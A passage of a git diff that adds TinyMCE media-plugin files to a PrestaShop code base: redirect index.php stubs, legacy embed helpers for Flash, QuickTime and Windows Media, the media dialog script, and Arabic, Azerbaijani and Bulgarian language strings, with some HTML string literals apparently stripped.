"data-mce-json" : JSON.serialize(data, "'") + }); + } + }); + + // Register plugin + tinymce.PluginManager.add('media', tinymce.plugins.MediaPlugin); +})(); diff --git a/js/tiny_mce2/plugins/media/index.php b/js/tiny_mce2/plugins/media/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/media/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/media/js/embed.js b/js/tiny_mce2/plugins/media/js/embed.js new file mode 100755 index 0000000..6fe25de --- /dev/null +++ b/js/tiny_mce2/plugins/media/js/embed.js @@ -0,0 +1,73 @@ +/** + * This script contains embed functions for common plugins. This scripts are complety free to use for any purpose. + */ + +function writeFlash(p) { + writeEmbed( + 'D27CDB6E-AE6D-11cf-96B8-444553540000', + 'http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0', + 'application/x-shockwave-flash', + p + ); +} + +function writeShockWave(p) { + writeEmbed( + '166B1BCA-3F9C-11CF-8075-444553540000', + 'http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=8,5,1,0', + 'application/x-director', + p + ); +} + +function writeQuickTime(p) { + writeEmbed( + '02BF25D5-8C17-4B23-BC80-D3488ABDDC6B', + 'http://www.apple.com/qtactivex/qtplugin.cab#version=6,0,2,0', + 'video/quicktime', + p + ); +} + +function writeRealMedia(p) { + writeEmbed( + 'CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA', + 'http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0', + 'audio/x-pn-realaudio-plugin', + p + ); +} + +function writeWindowsMedia(p) { + p.url = p.src; + writeEmbed( + '6BF52A52-394A-11D3-B153-00C04F79FAA6', + 'http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#Version=5,1,52,701', + 'application/x-mplayer2', + p + ); +} + +function writeEmbed(cls, cb, mt, p) { + var h = '', n; + + h += ''; + + h += ' +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce2/plugins/media/js/media.js b/js/tiny_mce2/plugins/media/js/media.js new file mode 100755 index 0000000..43e9ac4 --- /dev/null +++ b/js/tiny_mce2/plugins/media/js/media.js @@ -0,0 +1,470 @@ +(function() { + var url; + + if (url = tinyMCEPopup.getParam("media_external_list_url")) + document.write(''); + + function get(id) { + return document.getElementById(id); + } + + function clone(obj) { + var i, len, copy, attr; + + if (null == obj || "object" != typeof obj) + return obj; + + // Handle Array + if ('length' in obj) { + copy = []; + + for (i = 0, len = obj.length; i < len; ++i) { + copy[i] = clone(obj[i]); + } + + return copy; + } + + // Handle Object + copy = {}; + for (attr in obj) { + if (obj.hasOwnProperty(attr)) + copy[attr] = clone(obj[attr]); + } + + return copy; + } + + function getVal(id) { + var elm = get(id); + + if (elm.nodeName == "SELECT") + return elm.options[elm.selectedIndex].value; + + if (elm.type == "checkbox") + return elm.checked; + + return elm.value; + } + + function setVal(id, value, name) { + if (typeof(value) != 'undefined' && value != null) { + var elm = get(id); + + if (elm.nodeName == "SELECT") + selectByValue(document.forms[0], id, value); + else if (elm.type == "checkbox") { + if (typeof(value) == 'string') { + value = value.toLowerCase(); + value = (!name && value === 'true') || (name && value === name.toLowerCase()); + } + elm.checked = !!value; + } else + elm.value = value; + } + } + + window.Media = { + init : function() { + var html, editor, self = this; + + self.editor = editor = tinyMCEPopup.editor; + + // Setup file browsers and color pickers + get('filebrowsercontainer').innerHTML = getBrowserHTML('filebrowser','src','media','media'); + get('qtsrcfilebrowsercontainer').innerHTML = getBrowserHTML('qtsrcfilebrowser','quicktime_qtsrc','media','media'); + get('bgcolor_pickcontainer').innerHTML = getColorPickerHTML('bgcolor_pick','bgcolor'); + get('video_altsource1_filebrowser').innerHTML = getBrowserHTML('video_filebrowser_altsource1','video_altsource1','media','media'); + get('video_altsource2_filebrowser').innerHTML = getBrowserHTML('video_filebrowser_altsource2','video_altsource2','media','media'); + get('audio_altsource1_filebrowser').innerHTML = getBrowserHTML('audio_filebrowser_altsource1','audio_altsource1','media','media'); + get('audio_altsource2_filebrowser').innerHTML = getBrowserHTML('audio_filebrowser_altsource2','audio_altsource2','media','media'); + get('video_poster_filebrowser').innerHTML = getBrowserHTML('filebrowser_poster','video_poster','media','image'); + + html = self.getMediaListHTML('medialist', 'src', 'media', 'media'); + if (html == "") + get("linklistrow").style.display = 'none'; + else + get("linklistcontainer").innerHTML = html; + + if (isVisible('filebrowser')) + get('src').style.width = '230px'; + + if (isVisible('video_filebrowser_altsource1')) + get('video_altsource1').style.width = '220px'; + + if (isVisible('video_filebrowser_altsource2')) + get('video_altsource2').style.width = '220px'; + + if (isVisible('audio_filebrowser_altsource1')) + get('audio_altsource1').style.width = '220px'; + + if (isVisible('audio_filebrowser_altsource2')) + get('audio_altsource2').style.width = '220px'; + + if (isVisible('filebrowser_poster')) + get('video_poster').style.width = '220px'; + + editor.dom.setOuterHTML(get('media_type'), self.getMediaTypeHTML(editor)); + + self.setDefaultDialogSettings(editor); + self.data = clone(tinyMCEPopup.getWindowArg('data')); + self.dataToForm(); + self.preview(); + + updateColor('bgcolor_pick', 'bgcolor'); + }, + + insert : function() { + var editor = tinyMCEPopup.editor; + + this.formToData(); + editor.execCommand('mceRepaint'); + tinyMCEPopup.restoreSelection(); + editor.selection.setNode(editor.plugins.media.dataToImg(this.data)); + tinyMCEPopup.close(); + }, + + preview : function() { + get('prev').innerHTML = this.editor.plugins.media.dataToHtml(this.data, true); + }, + + moveStates : function(to_form, field) { + var data = this.data, editor = this.editor, + mediaPlugin = editor.plugins.media, ext, src, typeInfo, defaultStates, src; + + defaultStates = { + // QuickTime + quicktime_autoplay : true, + quicktime_controller : true, + + // Flash + flash_play : true, + flash_loop : true, + flash_menu : true, + + // WindowsMedia + windowsmedia_autostart : true, + windowsmedia_enablecontextmenu : true, + windowsmedia_invokeurls : true, + + // RealMedia + realmedia_autogotourl : true, + realmedia_imagestatus : true + }; + + function parseQueryParams(str) { + var out = {}; + + if (str) { + tinymce.each(str.split('&'), function(item) { + var parts = item.split('='); + + out[unescape(parts[0])] = unescape(parts[1]); + }); + } + + return out; + }; + + function setOptions(type, names) { + var i, name, formItemName, value, list; + + if (type == data.type || type == 'global') { + names = tinymce.explode(names); + for (i = 0; i < names.length; i++) { + name = names[i]; + formItemName = type == 'global' ? name : type + '_' + name; + + if (type == 'global') + list = data; + else if (type == 'video' || type == 'audio') { + list = data.video.attrs; + + if (!list && !to_form) + data.video.attrs = list = {}; + } else + list = data.params; + + if (list) { + if (to_form) { + setVal(formItemName, list[name], type == 'video' || type == 'audio' ? name : ''); + } else { + delete list[name]; + + value = getVal(formItemName); + if ((type == 'video' || type == 'audio') && value === true) + value = name; + + if (defaultStates[formItemName]) { + if (value !== defaultStates[formItemName]) { + value = "" + value; + list[name] = value; + } + } else if (value) { + value = "" + value; + list[name] = value; + } + } + } + } + } + } + + if (!to_form) { + data.type = get('media_type').options[get('media_type').selectedIndex].value; + data.width = getVal('width'); + data.height = getVal('height'); + + // Switch type based on extension + src = getVal('src'); + if (field == 'src') { + ext = src.replace(/^.*\.([^.]+)$/, '$1'); + if (typeInfo = mediaPlugin.getType(ext)) + data.type = typeInfo.name.toLowerCase(); + + setVal('media_type', data.type); + } + + if (data.type == "video" || data.type == "audio") { + if (!data.video.sources) + data.video.sources = []; + + data.video.sources[0] = {src: getVal('src')}; + } + } + + // Hide all fieldsets and show the one active + get('video_options').style.display = 'none'; + get('audio_options').style.display = 'none'; + get('flash_options').style.display = 'none'; + get('quicktime_options').style.display = 'none'; + get('shockwave_options').style.display = 'none'; + get('windowsmedia_options').style.display = 'none'; + get('realmedia_options').style.display = 'none'; + get('embeddedaudio_options').style.display = 'none'; + + if (get(data.type + '_options')) + get(data.type + '_options').style.display = 'block'; + + setVal('media_type', data.type); + + setOptions('flash', 'play,loop,menu,swliveconnect,quality,scale,salign,wmode,base,flashvars'); + setOptions('quicktime', 'loop,autoplay,cache,controller,correction,enablejavascript,kioskmode,autohref,playeveryframe,targetcache,scale,starttime,endtime,target,qtsrcchokespeed,volume,qtsrc'); + setOptions('shockwave', 'sound,progress,autostart,swliveconnect,swvolume,swstretchstyle,swstretchhalign,swstretchvalign'); + setOptions('windowsmedia', 'autostart,enabled,enablecontextmenu,fullscreen,invokeurls,mute,stretchtofit,windowlessvideo,balance,baseurl,captioningid,currentmarker,currentposition,defaultframe,playcount,rate,uimode,volume'); + setOptions('realmedia', 'autostart,loop,autogotourl,center,imagestatus,maintainaspect,nojava,prefetch,shuffle,console,controls,numloop,scriptcallbacks'); + setOptions('video', 'poster,autoplay,loop,muted,preload,controls'); + setOptions('audio', 'autoplay,loop,preload,controls'); + setOptions('embeddedaudio', 'autoplay,loop,controls'); + setOptions('global', 'id,name,vspace,hspace,bgcolor,align,width,height'); + + if (to_form) { + if (data.type == 'video') { + if (data.video.sources[0]) + setVal('src', data.video.sources[0].src); + + src = data.video.sources[1]; + if (src) + setVal('video_altsource1', src.src); + + src = data.video.sources[2]; + if (src) + setVal('video_altsource2', src.src); + } else if (data.type == 'audio') { + if (data.video.sources[0]) + setVal('src', data.video.sources[0].src); + + src = data.video.sources[1]; + if (src) + setVal('audio_altsource1', src.src); + + src = data.video.sources[2]; + if (src) + setVal('audio_altsource2', src.src); + } else { + // Check flash vars + if (data.type == 'flash') { + tinymce.each(editor.getParam('flash_video_player_flashvars', {url : '$url', poster : '$poster'}), function(value, name) { + if (value == '$url') + data.params.src = parseQueryParams(data.params.flashvars)[name] || data.params.src || ''; + }); + } + + setVal('src', data.params.src); + } + } else { + src = getVal("src"); + + // YouTube *NEW* + if (src.match(/youtu.be\/[a-z1-9.-_]+/)) { + data.width = 425; + data.height = 350; + data.params.frameborder = '0'; + data.type = 'iframe'; + src = 'http://www.youtube.com/embed/' + src.match(/youtu.be\/([a-z1-9.-_]+)/)[1]; + setVal('src', src); + setVal('media_type', data.type); + } + + // YouTube + if (src.match(/youtube.com(.+)v=([^&]+)/)) { + data.width = 425; + data.height = 350; + data.params.frameborder = '0'; + data.type = 'iframe'; + src = 'http://www.youtube.com/embed/' + src.match(/v=([^&]+)/)[1]; + setVal('src', src); + setVal('media_type', data.type); + } + + // Google video + if (src.match(/video.google.com(.+)docid=([^&]+)/)) { + data.width = 425; + data.height = 326; + data.type = 'flash'; + src = 'http://video.google.com/googleplayer.swf?docId=' + src.match(/docid=([^&]+)/)[1] + '&hl=en'; + setVal('src', src); + setVal('media_type', data.type); + } + + if (data.type == 'video') { + if (!data.video.sources) + data.video.sources = []; + + data.video.sources[0] = {src : src}; + + src = getVal("video_altsource1"); + if (src) + data.video.sources[1] = {src : src}; + + src = getVal("video_altsource2"); + if (src) + data.video.sources[2] = {src : src}; + } else if (data.type == 'audio') { + if (!data.video.sources) + data.video.sources = []; + + data.video.sources[0] = {src : src}; + + src = getVal("audio_altsource1"); + if (src) + data.video.sources[1] = {src : src}; + + src = getVal("audio_altsource2"); + if (src) + data.video.sources[2] = {src : src}; + } else + data.params.src = src; + + // Set default size + setVal('width', data.width || (data.type == 'audio' ? 300 : 320)); + setVal('height', data.height || (data.type == 'audio' ? 32 : 240)); + } + }, + + dataToForm : function() { + this.moveStates(true); + }, + + formToData : function(field) { + if (field == "width" || field == "height") + this.changeSize(field); + + if (field == 'source') { + this.moveStates(false, field); + setVal('source', this.editor.plugins.media.dataToHtml(this.data)); + this.panel = 'source'; + } else { + if (this.panel == 'source') { + this.data = clone(this.editor.plugins.media.htmlToData(getVal('source'))); + this.dataToForm(); + this.panel = ''; + } + + this.moveStates(false, field); + this.preview(); + } + }, + + beforeResize : function() { + this.width = parseInt(getVal('width') || (this.data.type == 'audio' ? "300" : "320"), 10); + this.height = parseInt(getVal('height') || (this.data.type == 'audio' ? "32" : "240"), 10); + }, + + changeSize : function(type) { + var width, height, scale, size; + + if (get('constrain').checked) { + width = parseInt(getVal('width') || (this.data.type == 'audio' ? "300" : "320"), 10); + height = parseInt(getVal('height') || (this.data.type == 'audio' ? "32" : "240"), 10); + + if (type == 'width') { + this.height = Math.round((width / this.width) * height); + setVal('height', this.height); + } else { + this.width = Math.round((height / this.height) * width); + setVal('width', this.width); + } + } + }, + + getMediaListHTML : function() { + if (typeof(tinyMCEMediaList) != "undefined" && tinyMCEMediaList.length > 0) { + var html = ""; + + html += ''; + + return html; + } + + return ""; + }, + + getMediaTypeHTML : function(editor) { + function option(media_type, element) { + if (!editor.schema.getElementRule(element || media_type)) { + return ''; + } + + return '' + } + + var html = ""; + + html += ''; + return html; + }, + + setDefaultDialogSettings : function(editor) { + var defaultDialogSettings = editor.getParam("media_dialog_defaults", {}); + tinymce.each(defaultDialogSettings, function(v, k) { + setVal(k, v); + }); + } + }; + + tinyMCEPopup.requireLangPack(); + tinyMCEPopup.onInit.add(function() { + Media.init(); + }); +})(); diff --git a/js/tiny_mce2/plugins/media/langs/ar_dlg.js b/js/tiny_mce2/plugins/media/langs/ar_dlg.js new file mode 100755 index 0000000..bc74468 --- /dev/null +++ b/js/tiny_mce2/plugins/media/langs/ar_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ar.media_dlg',{list:"\u0642\u0627\u0626\u0645\u0647",file:"\u0645\u0644\u0641/\u0639\u0646\u0648\u0627\u0646URL",advanced:"\u0645\u062a\u0642\u062f\u0645",general:"\u0639\u0627\u0645",title:"\u0627\u0636\u0641/ \u0639\u062f\u0644 \u0641\u0644\u0627\u0634 \u0627\u0648 \u0641\u064a\u062f\u064a\u0648","align_top_left":"\u0627\u0639\u0644\u0649 \u064a\u0633\u0627\u0631","align_center":"\u0648\u0633\u0637","align_left":"\u064a\u0633\u0627\u0631","align_bottom":"\u0627\u0633\u0641\u0644","align_right":"\u064a\u0645\u064a\u0646","align_top":"\u0627\u0644\u0627\u0639\u0644\u0649","qt_stream_warn":"Streamed rtsp resources should be added to the QT Src field under the advanced tab.\nYou should also add a non streamed version to the Src field..",qtsrc:"QT Src",progress:"\u062a\u0642\u062f\u0645",sound:"\u0635\u0648\u062a",swstretchvalign:"Stretch V-Align",swstretchhalign:"Stretch H-Align",swstretchstyle:"Stretch style",scriptcallbacks:"Script callbacks","align_top_right":"\u0627\u0639\u0644\u0649 \u064a\u0645\u064a\u0646",uimode:"UI Mode",rate:"\u0645\u0639\u062f\u0644",playcount:"\u0639\u062f\u062f \u0645\u0631\u0627\u062a \u0627\u0644\u0639\u0631\u0636",defaultframe:"\u0627\u0644\u0627\u0637\u0627\u0631 \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u0649",currentposition:"Current position",currentmarker:"Current marker",captioningid:"Captioning id",baseurl:"Base URL",balance:"Balance",windowlessvideo:"\u0641\u064a\u062f\u064a\u0648 \u0628\u0644\u0627 \u0627\u0637\u0627\u0631",stretchtofit:"\u0645\u0637\u0647 \u0644\u064a\u0646\u0627\u0633\u0628",mute:"\u0628\u0644\u0627 \u0635\u0648\u062a",invokeurls:"Invoke URLs",fullscreen:"\u0628\u0643\u0627\u0645\u0644 \u0627\u0644\u0634\u0627\u0634\u0647",enabled:"\u0645\u062a\u0627\u062d",autostart:"\u0628\u062f\u0621 \u062a\u0644\u0642\u0627\u0626\u0649",volume:"\u0639\u0644\u0648 \u0627\u0644\u0635\u0648\u062a",target:"Target",qtsrcchokespeed:"Choke speed",href:"Href",endtime:"\u0648\u0642\u062a \u0627\u0644\u0646\u0647\u0627\u064a\u0647",starttime:"\u0648\u0642\u062a \u0627\u0644\u0628\u062f\u0627\u064a\u0647",enablejavascript:"Enable JavaScript",correction:"\u0628\u0644\u0627 \u062a\u0635\u062d\u064a\u062d",targetcache:"Target cache",playeveryframe:"\u0639\u0631\u0636 \u0643\u0644 \u0627\u0644\u0643\u0627\u062f\u0631\u0627\u062a",kioskmode:"Kiosk mode",controller:"Controller",menu:"\u0627\u0638\u0647\u0631 \u0627\u0644\u0642\u0627\u0626\u0645\u0647",loop:"\u062a\u0643\u0631\u0627\u0631",play:"\u062a\u0634\u063a\u064a\u0644 \u062a\u0644\u0642\u0627\u0626\u0649",hspace:"H-Space",vspace:"V-Space","class_name":"Class",name:"\u0627\u0633\u0645",id:"Id",type:"\u0646\u0648\u0639",size:"\u0627\u0628\u0639\u0627\u062f",preview:"\u0645\u0639\u0627\u064a\u0646\u0647","constrain_proportions":"Constrain proportions",controls:"Controls",numloop:"\u0639\u062f\u062f \u0627\u0644\u062a\u0643\u0631\u0627\u0631\u0627\u062a",console:"Console",cache:"Cache",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"Flashvars",base:"Base",bgcolor:"\u062e\u0644\u0641\u064a\u0647",wmode:"WMode",salign:"SAlign",align:"\u0645\u062d\u0627\u0632\u0627\u0647",scale:"Scale",quality:"\u062c\u0648\u062f\u0647",shuffle:"Shuffle",prefetch:"\u0627\u062d\u0636\u0627\u0631 \u0645\u0633\u0628\u0642",nojava:"\u0644\u0627 \u062c\u0627\u0641\u0627",maintainaspect:"\u0627\u0644\u062d\u0641\u0627\u0638 \u0639\u0644\u0649 \u0646\u0633\u0628\u0629 \u0627\u0644\u0637\u0648\u0644 \u0644\u0644\u0639\u0631\u0636",imagestatus:"\u062d\u0627\u0644\u0629 \u0627\u0644\u0635\u0648\u0631\u0647",center:"\u0648\u0633\u0637",autogotourl:"\u0639\u0646\u0648\u0627\u0646 \u0627\u0644\u0630\u0647\u0627\u0628 \u0627\u0644\u062a\u0644\u0642\u0627\u0626\u0649","shockwave_options":"Shockwave options","rmp_options":"Real media player options","wmp_options":"\u062e\u0635\u0627\u0626\u0635 \u0645\u064a\u062f\u064a\u0627 \u0628\u0644\u0627\u064a\u0631","qt_options":"\u062e\u0635\u0627\u0626\u0635 \u0643\u0648\u064a\u0643 \u062a\u0627\u064a\u0645","flash_options":"\u062e\u0635\u0627\u0626\u0635 \u0641\u0644\u0627\u0634",hidden:"\u062e\u0641\u0649","align_bottom_left":"\u0627\u0633\u0641\u0644 \u064a\u0633\u0627\u0631","align_bottom_right":"\u0627\u0633\u0641\u0644 \u064a\u0645\u064a\u0646",flash:"flash",quicktime:"quicktime ","embedded_audio_options":"\u062e\u064a\u0627\u0631\u0627\u062a \u0627\u0644\u0635\u0648\u062a \u0627\u0644\u0645\u062f\u0645\u062c\u0629",windowsmedia:"windowsmedia ",realmedia:"realmedia ",shockwave:"shockwave",audio:"\u0627\u0644\u0635\u0648\u062a",video:"\u0627\u0644\u0641\u064a\u062f\u064a\u0648","html5_video_options":"\u062e\u0635\u0627\u0626\u0635 \u0641\u064a\u062f\u064a\u0648 HTML5",altsource1:"\u0627\u0644\u0628\u062f\u064a\u0644 \u0627\u0644\u0627\u0648\u0644 \u0644\u0644\u0645\u0635\u062f\u0631",altsource2:"\u0627\u0644\u0628\u062f\u064a\u0644 \u0627\u0644\u062b\u0627\u0646\u0649 \u0644\u0644\u0645\u0635\u062f\u0631",preload:"\u062a\u062d\u0645\u064a\u0644 \u0645\u0633\u0628\u0642",poster:"Poster",source:"\u0645\u0635\u062f\u0631","html5_audio_options":"\u062e\u064a\u0627\u0631\u0627\u062a \u0627\u0644\u0635\u0648\u062a","preload_none":"\u0644\u0627 \u0627\u0644\u062a\u062d\u0645\u064a\u0644 \u0627\u0644\u0645\u0633\u0628\u0642","preload_metadata":"Preload video metadata","preload_auto":"Let user\'s browser decide",iframe:"iframe ",embeddedaudio:"embedded audio "}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/media/langs/az_dlg.js b/js/tiny_mce2/plugins/media/langs/az_dlg.js new file mode 100755 index 0000000..5fd1f6b --- /dev/null +++ b/js/tiny_mce2/plugins/media/langs/az_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('az.media_dlg',{list:"Siyah\u0131",file:"Fayl/\u00fcnvan",advanced:"\u018flav\u0259l\u0259r",general:"\u00dcmumi",title:"Mediya-obyekti \u0259lav\u0259/redakt\u0259 et","align_top_left":"\u00dcst sol","align_center":"M\u0259tk\u0259z","align_left":"Sol","align_bottom":"Alt","align_right":"Sa\u011f","align_top":"\u00dcst","qt_stream_warn":"Haz\u0131rki ax\u0131lan rtsp m\u0259nb\u0259l\u0259ri QT Src sah\u0259sin\u0259 \u0259lav\u0259 edilm\u0259lidir.\nSiz h\u0259m\u00e7inin Src sah\u0259sin\u0259 qeyri-ax\u0131lan versiyan\u0131 da \u0259lav\u0259 etm\u0259lisiniz..",qtsrc:"QT Src",progress:"\u0130l\u0259rl\u0259yi\u015f",sound:"S\u0259s",swstretchvalign:"Uzat D-D\u00fczl\u0259ndir",swstretchhalign:"Uzat Y-D\u00fczl\u0259ndir",swstretchstyle:"Uzatma stili",scriptcallbacks:"Skript \u00e7a\u011f\u0131r\u0131mlar\u0131","align_top_right":"\u00dcst sa\u011f",uimode:"UI \u00dcsulu",rate:"Norma",playcount:"Oynatma say\u0131",defaultframe:"Susmaya g\u00f6r\u0259 \u00e7\u0259r\u00e7iv\u0259",currentposition:"Haz\u0131rki m\u00f6vqe",currentmarker:"Haz\u0131rki marker",captioningid:"Ba\u015fl\u0131qland\u0131rma id",baseurl:"Baza URL",balance:"Balans",windowlessvideo:"P\u0259nc\u0259r\u0259siz vide",stretchtofit:"S\u0131\u011facaq q\u0259d\u0259r \u00f6l\u00e7\u00fcl\u0259ndir",mute:"S\u0259ssiz",invokeurls:"\u00c7a\u011f\u0131r\u0131lacaq URL \u00fcnvanlar",fullscreen:"Tam ekran",enabled:"Yan\u0131l\u0131b",autostart:"Avtomatik ba\u015flat",volume:"S\u0259s",target:"H\u0259d\u0259f",qtsrcchokespeed:"Drossel s\u00fcr\u0259ti",href:"Href",endtime:"Bit\u0259c\u0259k zaman",starttime:"Ba\u015flan\u011f\u0131c zaman",enablejavascript:"JavaScript-i yand\u0131r",correction:"D\u0259yi\u015fiklik yoxdur",targetcache:"H\u0259d\u0259f ke\u015f",playeveryframe:"H\u0259r \u00e7\u0259r\u00e7iv\u0259ni oynat",kioskmode:"Kiosk \u00fcsulu",controller:"\u0130dar\u0259\u00e7i",menu:"Menyunu g\u00f6st\u0259r",loop:"\u0130lm\u0259k",play:"Avtomatik oynat",hspace:"\u00dcf\u00fcqi f\u0259za",vspace:"\u015eaquli f\u0259za","class_name":"Sinif",name:"Ad\u0131",id:"\u0130dentifikator",type:"N\u00f6v",size:"\u00d6\u00e7\u00fcl\u0259ri",preview:"\u0130lkin bax\u0131\u015f","constrain_proportions":"Proporsiyalar\u0131 saxla",controls:"Kontroller",numloop:"R\u0259q\u0259mli ilm\u0259l\u0259r",console:"Konsol",cache:"Ke\u015f",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"Flashvars",base:"T\u0259m\u0259l",bgcolor:"Fon",wmode:"WMode",salign:"SAlign",align:"Tarazla\u015fmaq",scale:"Miqyas",quality:"Keyfiyy\u0259t",shuffle:"Qar\u0131\u015fd\u0131r",prefetch:"\u00d6n-g\u0259tirm\u0259",nojava:"Java yox",maintainaspect:"Aspekti qoru",imagestatus:"\u015e\u0259kil statusu",center:"M\u0259rk\u0259z",autogotourl:"Avtomatik gedil\u0259c\u0259k URL","shockwave_options":"Shockwave nizamlamalar\u0131","rmp_options":"Real media player nizamlamalar\u0131","wmp_options":"Windows media player nizamlamalar\u0131","qt_options":"Quicktime nizamlamalar\u0131","flash_options":"Flash nizamlamalar\u0131",hidden:"Gizli","align_bottom_left":"A\u015fa\u011f\u0131 sol","align_bottom_right":"A\u015fa\u011f\u0131 sa\u011f","html5_video_options":"HTML5 Video Options",altsource1:"Alternative source 1",altsource2:"Alternative source 2",preload:"Preload",poster:"Poster",source:"Source","html5_audio_options":"Audio Options","preload_none":"Don\'t Preload","preload_metadata":"Preload video metadata","preload_auto":"Let user\'s browser decide"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/media/langs/bg_dlg.js b/js/tiny_mce2/plugins/media/langs/bg_dlg.js new file mode 100755 index 0000000..b94de4b --- /dev/null +++ b/js/tiny_mce2/plugins/media/langs/bg_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('bg.media_dlg',{list:"\u0421\u043f\u0438\u0441\u044a\u043a",file:"\u0424\u0430\u0439\u043b/URL",advanced:"\u0417\u0430 \u043d\u0430\u043f\u0440\u0435\u0434\u043d\u0430\u043b\u0438",general:"\u041e\u0431\u0449\u0438",title:"\u0412\u043c\u044a\u043a\u043d\u0438/\u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u0430\u0439 \u043c\u0435\u0434\u0438\u044f","align_top_left":"\u0413\u043e\u0440\u0435 \u043b\u044f\u0432\u043e","align_center":"\u0426\u0435\u043d\u0442\u044a\u0440","align_left":"\u041b\u044f\u0432\u043e","align_bottom":"\u0414\u043e\u043b\u0443","align_right":"\u0414\u044f\u0441\u043d\u043e","align_top":"\u0413\u043e\u0440\u0435","qt_stream_warn":"\u041f\u043e\u0442\u043e\u0447\u043d\u0438\u0442\u0435 rtsp \u0440\u0435\u0441\u0443\u0440\u0441\u0438 \u0442\u0440\u044f\u0431\u0432\u0430 \u0434\u0430 \u0441\u0435 \u0434\u043e\u0431\u0430\u0432\u044f\u0442 \u0432 QT Src \u043f\u043e\u043b\u0435\u0442\u043e \u0432 \u0440\u0430\u0437\u0434\u0435\u043b\u0430 \u0437\u0430 \u043d\u0430\u043f\u0440\u0435\u0434\u043d\u0430\u043b\u0438.\n\u0422\u0440\u044f\u0431\u0432\u0430 \u0441\u044a\u0449\u043e \u0434\u0430 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u0435 \u043d\u0435 \u043f\u043e\u0442\u043e\u0447\u043d\u0430 \u0432\u0435\u0440\u0441\u0438\u044f \u0432 Src \u043f\u043e\u043b\u0435\u0442\u043e..",qtsrc:"QT Src",progress:"\u041f\u0440\u043e\u0433\u0440\u0435\u0441",sound:"\u0417\u0432\u0443\u043a",swstretchvalign:"\u0420\u0430\u0437\u043f\u044a\u0432\u0430\u043d\u0435 V-Align",swstretchhalign:"\u0420\u0430\u0437\u043f\u044a\u0432\u0430\u043d\u0435 H-Align",swstretchstyle:"\u0421\u0442\u0438\u043b \u043d\u0430 \u0440\u0430\u0437\u043f\u044a\u0432\u0430\u043d\u0435",scriptcallbacks:"Script callbacks","align_top_right":"\u0413\u043e\u0440\u0435 \u0434\u044f\u0441\u043d\u043e",uimode:"UI \u0440\u0435\u0436\u0438\u043c",rate:"\u0411\u044a\u0440\u0437\u0438\u043d\u0430",playcount:"\u0411\u0440\u043e\u0439 \u043f\u043e\u0432\u0442\u043e\u0440\u0435\u043d\u0438\u044f",defaultframe:"\u041d\u0430\u0447\u0430\u043b\u0435\u043d \u043a\u0430\u0434\u044a\u0440",currentposition:"\u0422\u0435\u043a\u0443\u0449\u0430 \u043f\u043e\u0437\u0438\u0446\u0438\u044f",currentmarker:"\u0422\u0435\u043a\u0443\u0449 \u043c\u0430\u0440\u043a\u0435\u0440",captioningid:"\u041d\u0430\u0434\u043f\u0438\u0441\u0432\u0430\u043d\u0435 id",baseurl:"\u0411\u0430\u0437\u043e\u0432\u043e URL",balance:"\u0411\u0430\u043b\u0430\u043d\u0441",windowlessvideo:"\u0412\u0438\u0434\u0435\u043e \u0431\u0435\u0437 \u043f\u0440\u043e\u0437\u043e\u0440\u0435\u0446",stretchtofit:"\u0420\u0430\u0437\u043f\u044a\u043d\u0438",mute:"\u0417\u0430\u0433\u043b\u0443\u0448\u0438",invokeurls:"Invoke URLs",fullscreen:"\u0426\u044f\u043b \u0435\u043a\u0440\u0430\u043d",enabled:"\u0412\u043a\u043b\u044e\u0447\u0435\u043d",autostart:"\u0410\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u043d\u043e \u0441\u0442\u0430\u0440\u0442\u0438\u0440\u0430\u043d\u0435",volume:"\u0421\u0438\u043b\u0430 \u043d\u0430 \u0437\u0432\u0443\u043a\u0430",target:"\u0426\u0435\u043b",qtsrcchokespeed:"\u041f\u0440\u0435\u0434\u0435\u043b\u043d\u0430 \u0441\u043a\u043e\u0440\u043e\u0441\u0442",href:"Href",endtime:"\u0412\u0440\u0435\u043c\u0435 \u0437\u0430 \u043a\u0440\u0430\u0439",starttime:"\u0412\u0440\u0435\u043c\u0435 \u0437\u0430 \u0441\u0442\u0430\u0440\u0442\u0438\u0440\u0430\u043d\u0435",enablejavascript:"\u0412\u043a\u043b\u044e\u0447\u0438 JavaScript",correction:"\u0411\u0435\u0437 \u043f\u043e\u043f\u0440\u0430\u0432\u043a\u0438",targetcache:"\u0426\u0435\u043b\u0435\u0432\u0438 \u043a\u0435\u0448",playeveryframe:"\u041f\u043e\u043a\u0430\u0437\u0432\u0430\u0439 \u0432\u0441\u0435\u043a\u0438 \u043a\u0430\u0434\u044a\u0440",kioskmode:"Kiosk 